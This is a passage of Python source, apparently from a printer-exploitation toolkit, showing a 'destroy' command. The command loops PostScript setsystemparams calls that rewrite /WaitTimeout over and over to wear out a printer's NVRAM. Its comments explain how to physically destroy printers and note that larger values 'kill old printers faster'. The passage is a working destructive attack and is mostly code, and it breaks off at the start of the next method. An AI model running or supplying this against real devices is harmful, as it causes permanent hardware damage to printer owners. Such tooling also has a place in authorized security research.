Cause physical damage to printer's NVRAM.
(self, arg)
| 499 | |
| 500 | # ------------------------[ destroy ]--------------------------------- |
| 501 | def do_destroy(self, arg): |
| 502 | "Cause physical damage to printer's NVRAM." |
| 503 | output().warning("Warning: This command tries to cause physical damage to the") |
| 504 | output().warning("printer NVRAM. Use at your own risk. Press CTRL+C to abort.") |
| 505 | if output().countdown("Starting NVRAM write cycle loop in...", 10, self): |
| 506 | ''' |
| 507 | ┌───────────────────────────────────────────────────────────┐ |
| 508 | │ how to destroy your printer? │ |
| 509 | ├───────────────────────────────────────────────────────────┤ |
| 510 | │ Older devices allow us to set system parameters within a │ |
| 511 | │ PostScript loop. New devices only write to the NVRAM once │ |
| 512 | │ the print job finishes which slows down NVRAM exhaustion. │ |
| 513 | │ To get the best of both worlds, we use a hybrid approach. │ |
| 514 | ├───────────────────────────────────────────────────────────┤ |
| 515 | │ Note that this will only work if /WaitTimeout survives a │ |
| 516 | │ reboot. Else we should use the /StartJobPassword instead. │ |
| 517 | └───────────────────────────────────────────────────────────┘ |
| 518 | ''' |
| 519 | cycles = '100' # number of nvram write cycles per loop |
| 520 | # large values kill old printers faster |
| 521 | for n in range(1, 1000000): |
| 522 | self.globalcmd('/value {currentsystemparams /WaitTimeout get} def\n' |
| 523 | '/count 0 def /new {count 2 mod 30 add} def\n' |
| 524 | '{ << /WaitTimeout new >> setsystemparams\n' |
| 525 | ' /count count 1 add def % increment\n' |
| 526 | ' value count ' + cycles + ' eq {exit} if\n' |
| 527 | '} loop', False) |
| 528 | self.chitchat("\rNVRAM write cycles: " + |
| 529 | str(n*int(cycles)), '') |
| 530 | print() # echo newline if we get this far |
| 531 | |
| 532 | # ------------------------[ hang ]------------------------------------ |
| 533 | def do_hang(self, arg): |